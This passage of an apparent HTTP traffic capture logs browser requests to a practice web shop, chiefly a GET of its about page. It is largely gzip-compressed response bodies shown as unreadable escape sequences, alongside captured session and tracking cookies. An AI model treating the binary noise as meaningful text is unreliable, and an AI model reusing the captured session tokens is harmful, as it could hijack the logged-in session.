S\\ufffd\\u0005Q_\\u000bS\\ufffd\\ufffd\\ufffdN\\ufffd\\u0004\\ufffd\\ufffd$넅\\ufffdb\\u0010\\ufffd\\ufffdf\\ufffd\\ufffd%\\ufffd\\ufffd\\ufffd\\u000bF%\\ufffd\\u000eXI2\\ufffd\\ufffd1`\\ufffdw\\ufffd\\ufffdr\\ufffd\\ufffd\\ufffdԔ\\ufffd(\\ufffd\\ufffdW\\u0014t\\ufffd\\ufffd**\\ufffd\\u0000\\ufffd\\u00172\\ufffdxR!-\\\"\\ufffdk\\ufffd2g\\ufffd\\ufffdT;S\\ufffd\\ufffd\\u001b1\\ufffd̞\\ufffdJp\\u0008\\ufffdm\\ufffdU1\\u003e\\u0007\\u0001\\ufffd)ڍ\\u000e\\ufffd\\ufffd𘠂\\u0000\\ufffdB\\ufffd9\\u000f\\u0018\\ufffd\\ufffd\\ufffd\\u0014\\ufffdK\\ufffd\\ufffd8*\\ufffd\\u0004\\u0006\\ufffd\\u0013֘\\ufffd\\ufffdi\\ufffd\\ufffd\\ufffd\\\"\\ufffd\\ufffdt\\u001c+'\\nFe,T\\ufffd\\ufffd\\ufffd\\ufffd\\u000c\\ufffd\\ufffd\\ufffdg \\ufffd\\u0014BLp\\u0012B\\ufffd\\ufffdLQ\\ufffd\\ufffd$4\\ufffd~\\ufffd\\ufffd6\\ufffd^\\ufffd\\ufffd\\ufffd\\ufffdI;-@\\ufffd2(E\\ufffd6\\ufffd\\ufffd\\ufffd\\ufffd1J\\ufffdy\\u001a\\u00177\\ufffdץ\\ufffd\\ufffd\\ufffdy[Ǡ\\ufffd\\ufffd|\\u003e\\ufffd(\\u0007\\ufffdY{\\ufffd#\\ufffd#\\ufffd-j\\ufffd\\u001f{\\ufffd\\u0013qަ\\ufffdX4 \\ufffd\\ufffdP\\u0008yJ`\\\"\\ufffdЁ\\r8\\ufffd\\u003e\\ufffd\\ufffd\\ufffd\\u0026\\ufffdIr]͌\\ufffd\\ufffd\\ufffd\\u000f\\u0011f\\u001c\\ufffd\\u0002I\\ufffd\\u0019\\ufffd|\\ufffdp\\ufffd\\u0017\\\\\\u000f\\ufffd\\ufffdq)c\\ufffdX\\ufffd\\ufffd\\ufffdl\\n\\ufffd\\u0015p\\u0010У]\\ufffd\\ufffd'!ER\\u0015\\u001a\\u0012\\u0004D%\\ufffd\\ufffdB\\ufffd\\ufffd\\ufffd t \\ufffd\\u0015\\ufffd#\\ufffd\\u001eV\\ufffd4\\u0008\\ufffd\\u0014a\\u0015\\ufffd̦u\\ufffduB\\ufffd\\ufffd'\\u0008D\\ufffd\\ufffd\\ufffd%\\u0005\\ufffd\\ufffd\\ufffdw+*\\ufffd\\ufffd\\t\\ufffd\\ufffd\\ufffd'\\ufffd\\ufffd \\ufffd1\\ufffd\\ufffd\\ufffdNFe\\ufffd\\ufffd\\ufffdg\\u000f\\ufffd\\ufffd\\u0014\\u0015I]\\u0015\\u001c\\ufffdh\\ufffd\\ufffd\\u0010\\ufffdP\\ufffdH\\ufffd1fo\\ufffd\\u00011\\u0002r\\ufffd7G\\ufffd\\u000f\\ufffd`\\ufffd'\\ufffd\\r[\\u003e\\u0010/\\rj1\\ufffd\\u0000{\\ufffd\\ufffd\\ufffd\\ufffd-\\u0004^\\u0012\\u0004\\ufffd$\\ufffdD4\\ufffdN\\ufffd_\\\\\\ufffd\\ufffd\\ufffd\\u0010\\ufffdo\\ufffdaN\\ufffd\\ufffd\\u001eu\\ufffdS\\u0011t\\u003c\\u0026\\ufffd^1/m\\ufffd\\ufffd\\ufffdg\\n\\u0018\\ufffd,\\ufffdV1w(\\ufffd:d\\u0005\\ufffd\\u001a2C}À\\ufffd\\ufffdĺ\\ufffd\\ufffd\\ufffd΄\\u0013\\ufffd\\u0013\\u0012\\ufffdy\\ufffd\\ufffd\\u001b\\ufffdU\\ufffd\\ufffd\\ufffd\\ufffd\\u001dT\\ufffd\\ufffdܤ,8fõU\\ufffd~4\\u000b.\\ufffd6(\\ufffd\\ufffd\\u00083\\ufffd\\u001b\\ufffd\\u0008\\u0002\\ufffd`\\ufffd\\u0017¾\\r\\ufffd\\ufffdU\\u0002\\u0017c\\ufffd\\ufffd\\ufffd\\ufffdF\\ufffd;\\ufffd\\ufffd\\ufffd}\\n\\u001e\\ufffd\\ufffd\\u000c\\ufffd\\ufffd2:\\ufffd\\ufffd+\\ufffdC\\ufffdL\\ufffd8\\ufffd\\u0005]\\ufffd\\\\8\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd@uȲĂk\\ufffd\\u0018|\\u001fJ\\ufffdЪ\\ufffdk\\ufffdmd\\ufffd\\ufffd1Ss\\ufffd\\ufffd\\ufffd\\ufffdX\\ufffd\\ufffd\\ufffd\\ufffd:\\ufffd\\ufffd/\\ufffd\\ufffdZU\\ufffde\\ufffd\\n\\ufffd\\tz\\u0002*\\u0013\\ufffd\\ufffd\\u001dۈ\\ufffd\\ufffd\\\"\\ufffd(\\ufffd޹5E?\\ufffd\\ufffdX\\u0016\\ufffd\\u0013\\ufffdR.\\ufffdv)e\\u000c\\ufffd\\u000b\\ufffd\\ufffd^6\\ufffd\\ufffd\\u0005\\ufffd\\\"\\ufffd\\ufffd@\\ufffdK\\u000cf\\ufffd~2\\ufffdJ*\\u001a\\u0010\\ufffd\\ufffd2Ĺ\\ufffd\\ufffd9\\ufffd\\u003ePQ\\ufffd\\ufffdH;RJ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd)\\ufffd\\ufffdݮc\\ufffd\\ufffd\\u0013\\ufffd$\\ufffd\\ufffdu\\u000e\\ufffd\\ufffdG~w}\\u0014q\\ufffd\\u0008S.%\\u0002\\u0008\\ufffd_\\u000e\\ufffdc}\\u001e\\u001aL\\ufffd\\ufffd\\ufffd?\\u0017\\u001a\\ufffd\\ufffd\\ufffdCY\\u0019w\\ufffd\\u003cӕ\\u0013\\ufffd\\ufffd\\ufffdq\\ufffd\\ufffdd\\ufffdY\\ufffd.V\\ufffd\\ufffd\\ufffdt@qK/Ȳ\\ufffd\\r\\u0010Wl7\\ufffd\\ufffdO\\ufffd\\ufffd\\ufffdu-\\ufffd\\u001d\\ufffd\\ufffd2\\ufffd\\ufffd\\ufffdo?\\ufffdn\\ufffdo\\ufffd\\ufffd\\u001fFߞQ\\u0004e_D\\ufffd\\t\\u0006]r\\ufffdD\\ufffd/|\\ufffd\\ufffd\\u0019\\u003e\\u0015z\\ufffd_\\ufffdpPT捈\\ufffd[\\ufffd\\ufffd\\ufffdö Q\\ufffd\\u0007\\ufffdWtK\\ufffd\\ufffdF\\ufffdЈho\\ufffd\\u0026\\ufffdS\\u001c\\ufffd$\\ufffd\\u000f?\\ufffdg\\ufffd\\ufffd\\ufffd\\ufffd1\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd3T\\u003c\\ufffd%r3\\ufffd\\u0008\\ufffd\\ufffd\\ufffd\\ufffdx\\ufffd*\\ufffd\\ufffd\\u00192\\ufffdoR\\ufffd\\ufffd\\ufffdJ\\u0018\\ufffd\\ufffd\\u001b\\ufffd*\\ufffdL\\ufffdю\\ufffdb\\u0015\\ufffdV\\u003c\\u0026E\\nJ\\ufffd\\ufffdH!E\\ufffd-e\\ufffdBQ7\\ufffd}(\\u000b\\ufffd\\ufffdn\\ufffd靟k\\ufffd\\u001fx)\\ufffd\\ufffd\\ufffdO{\\ufffd\\ufffd\\ufffd\\u0003\\u0008\\ufffdz:\\ufffd:;\\ufffd\\u003c\\ufffd\\u001f\\ufffd\\ufffd\\ufffd\\ufffd_\\ufffd\\ufffd\\ufffds\\ufffd\\ufffd\\ufffdI\\ufffd\\ufffdJ\\ufffdV\\ufffd/~\\ufffdNQ\\ufffdu)\\ufffd,ܣ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd1j\\ufffdG\\u0003f\\ufffd\\ufffd\\ufffd\\ufffdI\\ufffd\\ufffd\\t'\\u0007\\ufffdg\\ufffdڡ\\ufffd\\ufffd\\u001f\\ufffd\\ufffd硛ژ\\u001b\\ufffd\\ufffdi\\ufffd\\ufffdtʽ\\ufffdK\\ufffd\\rh\\ufffd\\u0005ێ\\ufffdoS\\ufffdzj\\ufffd\\ufffdV\\ufffd\\ufffd5\\t\\ufffd^\\ufffde\\ufffd\\ufffdhz\\ufffdek\\ufffd]\\ufffd%s1\\u0012\\ufffd\\ufffd\\ufffd=.\\u0014\\ufffd\\ufffdXP+\\u001c\\ufffdD\\ufffd\\ufffdh\\u0026\\u0004\\ufffdc\\ufffdf\\ufffd\\ufffd\\ufffd\\ufffd#ǭK\\ufffd\\ufffd\\u0016\\ufffd\\ufffdN\\u0006B)N\\ufffd\\u0002s4\\ufffd^'(\\ufffd\\ufffd}S\\u001f\\ufffd\\ufffdv\\ufffdtaq\\ufffd\\u000eL(\\ufffdt1\\ufffd\\ufffd\\ufffd\\u003cU|V\\ufffd\\ufffdĠ\\ufffd\\ufffd\\u0019\\ufffdP\\ufffd'\\ufffdt\\ufffd\\ufffd'(\\ufffd\\ufffd\\ufffd\\u001d\\ufffd߸넽0\\ufffd\\ufffd\\u0007w\\ufffd\\ufffd\\ufffd\\ufffdF]\\ufffd\\r\\ufffdv\\ufffd\\ufffdZ\\ufffd\\ufffd\\u0018\\ufffdZ\\ufffdrDM\\ufffd\\ufffd$\\ufffd\\ufffd\\u0012\\ufffd$c\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd[\\ufffd\\ufffdo\\ufffd\\u000b\\ufffd\\ufffd\\ufffd(n\\ufffd\\ufffdd\\ufffd\\ufffdǦh\\ufffdR\\ufffd\\ufffd\\ufffd\\u001d\\u000f\\ufffd4\\ufffd\\ufffd\\ufffd\\ufffdal$?\\u0008'\\u000b\\ufffdx/3qv\\u003e\\u0010K\\ufffd\\ufffdx\\ufffd[\\ufffd\\ufffd\\ufffd\\\"\\ufffde\\u0017\\ufffdO\\ufffd\\\\\\ufffdy\\ufffd\\ufffd\\ufffd.|u\\ufffd\\ufffd\\ufffd]\\ufffd\\ufffdw\\ufffd/\\ufffd߷_\\ufffdps\\ufffdb\\u0000o\\u000b\\ufffd\\u0014\\ufffdOߵ\\ufffd9\\ufffd\\ufffd׻\\ufffd\\u0001o\\ufffd\\ufffdh-\\ufffd5\\u001b,1ue\\ufffdQ\\u0018\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdY^\\ufffdݿ\\ufffdH\\ufffd\\ufffd1٨\\ufffd\\ufffd\\ufffd\\ufffda\\ufffd9\\ufffd~\\ufffd,=\\ufffd\\ufffd\\ufffd\\ufffd\\u003c}\\ufffd\\ufffd;\\ufffd\\ufffd\\ufffd\\ufffd܁G^\\ufffdF\\ufffd\\ufffd\\ufffd?\\ufffdy\\ufffdus\\ufffd\\ufffd?\\ufffd\\ufffd\\ufffdU\\ufffd+g\\ufffdf\\ufffd8ڦ\\ufffd\\u0002n\\u0014\\ufffd\\u000c\\ufffdA1\\ufffd)5u\\ufffd\\ufffd\\ufffd\\ufffd{\\ufffd\\ufffd\\u0016hIG\\ufffd\\ufffd\\u0011:\\ufffd\\ufffd\\ufffd\\ufffda0\\u001a\\ufffd\\ufffd\\u0015\\u0016Y\\ufffdM\\u000fu \\ufffdU:B\\ufffd\\ufffd\\u001a\\ufffd\\ufffdY\\ufffdU\\u003c\\ufffd\\ufffd\\u0019\\ufffdo\\ufffdt\\ufffd\\ufffd\\ufffd\\ufffdiU\\ufffdBډ\\ufffd=\\ufffdJ\\ufffd\\ufffdC\\ufffd\\ufffd+\\ufffd\\ufffd\\ufffdS\\ufffd\\u0013\\ufffdn\\ufffd*4\\ufffd3P~\\ufffd=}\\ufffd=\\ufffd\\ufffd繓\\ufffd\\ufffdw\\ufffd}\\ufffde=\\ufffd\\ufffd\\ufffd]\\ufffd\\ufffd\\ufffdt\\ufffdܭ\\ufffd\\ufffd\\n_߼\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000b?q\\t\\n\\ufffd\\u0002\\u0005\\ufffdڧ\\ufffd;Hv\\ufffdk+[\\ufffd\\ufffd\\ufffdn-f\\ufffd\\ufffds\\ufffd\\u000b\\u0012H\\ufffd\\ufffdGYr\\ufffd]\\u0002\\ufffdUe\\ufffd\\ufffd9\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000cܧ\\ufffd\\ufffd\\ufffdy\\ufffdl\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd]\\ufffd\\ufffdW\\ufffdq\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd48\\u0019\\u0017\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd.O\\ufffd\\ufffdL\\ufffdL\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0001j\\ufffdl#\\u00024\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 3942\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:13 GMT\\r\\nSet-Cookie: AWSALB=85BJo1Zpdk9Zp+yPBrFftDnRpkda2GE1/JD01eSP9Ex//O3wSyqO/AF6ykA8rziJvN/Q7QNg9UV1oNa53YrhOnHvoGPe6yk0hzUoN1V5Rcp/SYNljF/y+T7fkl7C; Expires=Thu, 14 Sep 2023 15:34:13 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=85BJo1Zpdk9Zp+yPBrFftDnRpkda2GE1/JD01eSP9Ex//O3wSyqO/AF6ykA8rziJvN/Q7QNg9UV1oNa53YrhOnHvoGPe6yk0hzUoN1V5Rcp/SYNljF/y+T7fkl7C; Expires=Thu, 14 Sep 2023 15:34:13 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:18+05:30\",\"url\":\"https://ginandjuice.shop/about\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=FuPzkvEYylog+dQhM7EDdfOxlO4LNNlDYYFUu86LrSuM/kx3kGryxBucqnFtsBKkCp4hyX30SKkFqbN+LcVwM135w3aUgOugwu1lG3qZ1Hig6rAW0C0h0PS0EdtD; AWSALBCORS=FuPzkvEYylog+dQhM7EDdfOxlO4LNNlDYYFUu86LrSuM/kx3kGryxBucqnFtsBKkCp4hyX30SKkFqbN+LcVwM135w3aUgOugwu1lG3qZ1Hig6rAW0C0h0PS0EdtD\",\"Referer\":\"https://ginandjuice.shop/blog/post?postId=3\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/about\",\"scheme\":\"https\"},\"raw\":\"GET /about HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=FuPzkvEYylog+dQhM7EDdfOxlO4LNNlDYYFUu86LrSuM/kx3kGryxBucqnFtsBKkCp4hyX30SKkFqbN+LcVwM135w3aUgOugwu1lG3qZ1Hig6rAW0C0h0PS0EdtD; AWSALBCORS=FuPzkvEYylog+dQhM7EDdfOxlO4LNNlDYYFUu86LrSuM/kx3kGryxBucqnFtsBKkCp4hyX30SKkFqbN+LcVwM135w3aUgOugwu1lG3qZ1Hig6rAW0C0h0PS0EdtD\\r\\nReferer: https://ginandjuice.shop/blog/post?postId=3\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2591\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:19 GMT\",\"Set-Cookie\":\"AWSALB=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB; Expires=Thu, 14 Sep 2023 15:34:19 GMT; Path=/, AWSALBCORS=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB; Expires=Thu, 14 Sep 2023 15:34:19 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdZ\\ufffdr۸\\u0019\\ufffdߧ\\ufffd\\ufffd\\ufffd(\\ufffd\\tŵ\\ufffd6\\ufffdF\\ufffdL\\u000e\\ufffd\\ufffdns\\ufffd؝4\\ufffd\\ufffd@$$\\ufffd\\u0006\\t\\ufffd\\u0000%\\ufffd\\ufffd}\\ufffd\\ufffd\\ufffd5\\ufffd(}\\ufffd~?@ɔDIT\\ufffd̴\\ufffdx\\u003c6\\ufffdÏ\\ufffd|\\u0002\\u0007\\ufffd?{\\ufffd\\ufffd\\ufffd\\ufffd۟Xj35\\ufffdn\\ufffd\\ufffd1\\ufffd\\u000cR\\ufffd\\u0013\\ufffd\\ufffd^\\ufffd̯XZ\\ufffd\\ufffd0*\\ufffd\\ufffdU\\u0019\\u000b\\u0013)\\u003e\\ufffde\\ufffd\\ufffdbc\\\"\\u0013\\ufffd\\ufffd\\ufffdx\\ufffd\\u0006\\ufffd\\u0018`\\ufffdPCc\\u0017J\\ufffdT\\u0008{\\u0008\\u0018\\ufffd\\u0000@s\\u000e0\\ufffd\\ufffd\\u000f \\u0013\\ufffd\\ufffd\\ufffdgb\\u0018̤\\ufffd\\u0017\\ufffd\\ufffd\\u0001\\ufffdunEn\\ufffd\\ufffd\\\\\\u00266\\u001d\\u0026b\\u0026c\\u0011\\ufffd\\ufffd\\ufffd\\ufffd2\\ufffd\\u000c\\ufffd!NPb\\ufffd\\ufffd\\ufffd\\u0001\\ufffdĥ,,3e\\u003c\\u000c\\u001a\\u0008]\\u001a\\ufffd\\ufffd\\ufffd\\ufffd\\u0001I(]d\\u0000޿4\\ufffdh\\u0010\\ufffd\\u001d\\ufffdA\\ufffd\\ufffdΎ\\u0000c\\u0017\\u0005(\\ufffd\\ufffd\\ufffdF\\ufffd|\\ufffd\\ufffdh\\ufffd\\u0006\\ufffd\\ufffd\\ufffdJ\\ufffd\\ufffd\\ufffdI\\ufffd0|\\ufffd\\u000b\\ufffd\\ufffdV\\ufffdћ\\ufffdd\\ufffd\\ufffdr\\ufffdB\\ufffd\\\\\\ufffd\\ufffd\\u000eϊG\\ufffd\\ufffd\\nLb\\ufffd\\ufffd.\\u0006\\ufffd_\\ufffd\\ufffd\\u001f\\ufffd\\ufffd0\\ufffdɂ\\ufffdӐ\\u0017E\\u0003j\\\"gL\\u0026à)\\ufffd\\u0006W==\\\"\\ufffdR\\ufffd,Vܘa\\ufffd\\ufffd%L\\ufffdG\\u00113\\u001b\\u001bܦb{\\ufffd~.Ri\\u0018~9K\\ufffd\\ufffdcQr+Ԃ\\ufffd*\\ufffd\\ufffd\\u0019Res1f\\ufffdQɘ\\ufffdSq\\ufffd\\ufffd\\ufffd\\\"a\\u0013]2+\\ufffd\\ufffd\\ufffd\\ufffd\\u0016\\ufffd\\ufffdǦx\\ufffd\\ufffd(\\ufffd\\ufffd\\u000b?D\\ufffd`\\ufffd\\ufffd[\\u0011\\u0018\\ufffd\\ufffd\\ufffdH!\\u0015\\u000e\\ufffd\\ufffd3\\r͂DEIz\\ufffd'z\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\r\\ufffd\\ufffdjZ\\ufffd\\ufffdgO\\ufffdf3L7g\\ufffd\\ufffd\\ufffdr\\u001a\\ufffdys\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0018\\u0006r\\ufffd\\ufffd6\\ufffd\\ufffds\\ufffd5\\ufffdZ{=[}p\\ufffd)]skȸ\\ufffd㻽\\ufffdg=\\u0019?\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd%]$ϕ\\ufffd\\ufffd\\ufffda\\ufffd\\ufffd\\ufffdT%8\\ufffd\\u000c9\\u0008+\\u001a\\ufffdN\\u001e\\ufffd\\ufffd\\ufffdӖ\\ufffd\\ufffd\\ufffd\\ufffd\\u0007\\ufffd\\ufffdme\\ufffdB\\ufffd\\ufffdz90\\ufffd\\ufffdM\\ufffd\\u0013\\ufffd\\ufffd\\ufffdk\\ufffd\\ufffdE]\\ufffd\\r}\\ufffdB\\ufffdu{u\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd;\\ufffd\\ufffd\\u0002\\ufffd\\ufffd\\ufffd/%\\ufffd\\ufffd%\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd{W֋Z\\ufffd\\ufffd\\ufffd3ο\\ufffdJO5\\ufffd\\u0015\\ufffd;\\ufffdF|\\ufffd\\ufffd\\r(g\\ufffd\\ufffd\\u0001\\ufffdܞ\\ufffd\\ufffd8f\\ufffd\\ufffdRK\\ufffd\\ufffdZ9u:\\u0011\\ufffd\\u0006K\\ufffdnXQʌ\\ufffd\\u000b\\ufffd\\ufffdb\\ufffd[ \\ufffd\\u003c\\ufffd\\ufffd-\\ufffdˣǕ\\ufffdp\\n\\ufffd\\ufffdA\\u0004\\ufffd\\ufffd\\ufffd\\u00134\\ufffd\\ufffdI\\u0015[\\ufffd\\ufffd)k\\ufffd\\ufffd.\\u0007\\ufffd\\u001e\\ufffd\\ufffdC\\ufffd\\t\\ufffd\\ufffd7\\ufffd\\ufffd\\ufffd,c+\\ufffd\\u0015~|\\ufffd+\\u001b\\ufffd\\ufffd\\ufffd/\\ufffd\\ufffd \\ufffdԭu\\tƨ\\ufffd\\ufffd+k\\u0013\\ufffdc]\\ufffd6\\ufffdqCj\\ufffd\\\"\\ufffd\\ufffd\\u0011+\\ufffdl:\\u001a\\ufffd\\ufffd-'ob+T}J\\ufffd\\ufffdu\\ufffd\\ufffd\\ufffdտY\\ufffd\\t\\ufffd\\ufffdf\\n\\ufffd\\u0004\\ufffd\\u000b{k\\ufffdt[x\\u0014\\ufffd\\ufffd\\ufffdo\\ufffdk\\ufffd\\ufffd\\ufffdz\\ufffdd\\ufffd\\u0019c\\u0007\\ufffd\\ufffd\\ufffd~]\\ufffd_-X\\ufffd\\ufffd\\ufffdP?\\ufffd\\ufffd\\ufffd\\ufffd}\\ufffd\\ufffdƼ\\ufffd\\ufffd\\ufffd\\ufffd\\u0003F4C\\ufffdJ!\\ufffd\\ufffd\\u000e\\ufffd\\u001d\\ufffd\\ufffd\\ufffd:ս\\ufffd~\\ufffd\\ufffdv\\u0026\\ufffda\\ufffd\\ufffd\\ufffdө\\u00128\\ufffd\\ufffd\\ufffd\\ufffdr:\\ufffdT\\ufffdS\\ufffd\\\"f\\ufffd\\u000b\\ufffd\\ufffd\\ufffdW\\u001aD;\\u0003\\ufffd\\ufffd\\u0010\\ufffd2ܒXl\\ufffdr\\ufffd\\u0019\\u0019\\u000b\\ufffd%\\ufffd\\ufffdݛ\\u000fg\\u0008۫\\ufffdݖ\\n߄\\ufffd`\\ufffd\\u000e9pX@\\ufffd;|\\ufffd\\ufffd\\ufffd\\ufffd\\u0015ǵ\\ufffd\\ufffd:!\\ufffd]𮍑\\ufffd\\ufffd1\\ufffd\\ufffd\\ufffdK=|\\ufffd\\ufffd\\u0013^k\\u001e\\ufffd\\u0005\\ufffdj\\u0008\\ufffd\\ufffd9\\ufffd\\ufffd=q`Uo8\\ufffd^\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdP\\ufffdP:\\u0010I\\u0006\\ufffd\\ufffd\\ufffd߱͟\\ufffd\\ufffd7\\ufffd\\u003e\\ufffd\\ufffd\\ufffd}:\\ufffd37\\ufffd\\ufffd\\ufffd!\\ufffd\\ufffdן\\u001bX\\ufffdU\\ufffd!\\ufffd\\u001a\\ufffd\\ufffd\\ufffdf2\\u0011:\\ufffd\\ufffd(hv\\ufffd\\ufffd\\u0003\\ufffd\\u000e;\\ufffdn\\ufffdؕХV\\ufffde\\u00152\\tVh\\ufffd\\n\\ufffdm\\ufffd2\\ufffd\\u0008\\ufffdy\\u0012^R\\ufffd\\u0018Z\\ufffd\\ufffd\\ufffde1\\ufffdx\\ufffdg\\ufffd\\u0003\\ufffdU\\ufffd\\u0015\\u000f\\ufffd\\ufffd2v\\ufffdF4\\ufffd\\ufffd\\ufffd\\u000fTX\\ufffdK=70\\ufffdD\\u000b\\ufffd`\\u001a\\ufffdT\\u00055\\u000f\\\\\\ufffd\\ufffdY`\\ufffd\\ufffd\\ufffd\\ufffdۢ r\\u001b\\ufffd\\ufffdν\\ufffd\\ufffdZ\\ufffd%@ǋ\\ufffd\\u0002\\ufffdٴ\\u001b3\\u0013\\ufffdBX)Q.\\ufffd\\ufffd\\u0018Wv\\u0018PC\\ufffdf\\\"\\ufffd\\ufffd\\u0008U]\\ufffd\\ufffdY\\ufffd\\ufffdFc`\\ufffd\\u0015\\ufffd[\\u0006\\ufffd\\ufffd^\\ufffdk{\\ufffd\\ufffd+0֕\\ufffd\\ufffd\\ufffd\\ufffd\\u0002\\ufffdQTe\\ufffd\\u0004\\ufffdD\\ufffdc\\u0001\\ufffdq\\ufffdq{1z\\ufffdK\\ufffd\\r{\\u0005\\ufffd\\ufffd\\u000b\\ufffdg\\ufffdY\\ufffds\\ufffd'\\ufffdo\\ufffd\\ufffdX\\ufffdGv\\ufffdS\\ufffd\\ufffd#\\ufffdy\\ufffd\\u001f\\ufffdߘ\\u00163\\ufffd\\ufffdT\\ufffd\\ufffd2\\u0004\\u0003\\ufffd\\ufffds,d\\u0010\\ufffd\\ufffdu\\ufffd\\ufffd\\u0002\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd,\\ufffdՙ\\ufffd]8\\ufffdC\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0017\\ufffdY\\ufffd\\ufffd\\u0004\\ufffdU\\u0002\\ufffdw=\\ufffdF\\u0008\\t#;\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdE\\ufffd]\\ufffd!\\ufffd/*\\ufffd\\ufffd=\\ufffd\\u0026\\ufffd\\ufffd]g\\u0026\\ufffd\\ufffdk\\ufffdɸR\\u001ee\\u003c\\ufffd,\\ufffd{\\ufffdΐ\\ufffd\\ufffd\\ufffd\\ufffd0l.m\\n\\ufffd\\ufffdRp%\\ufffdF}\\u001ank245\\ufffd\\ufffds*}\\u0003k\\ufffd\\raC\\r\\ufffd\\u00144\\ufffd\\ufffdV\\u0013\\ufffdU\\u0012\\ufffdk\\ufffd\\ufffd\\u001ci\\ufffd\\ufffdÑ\\ufffdY\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdo\\ufffd\\ufffdQ\\u001e൞\\ufffd\\ufffd/\\ufffd\\ufffd\\u0016\\ufffd2\\ufffdgc\\ufffd\\ufffd\\ufffd\\ufffd}6\\ufffd\\t=\\u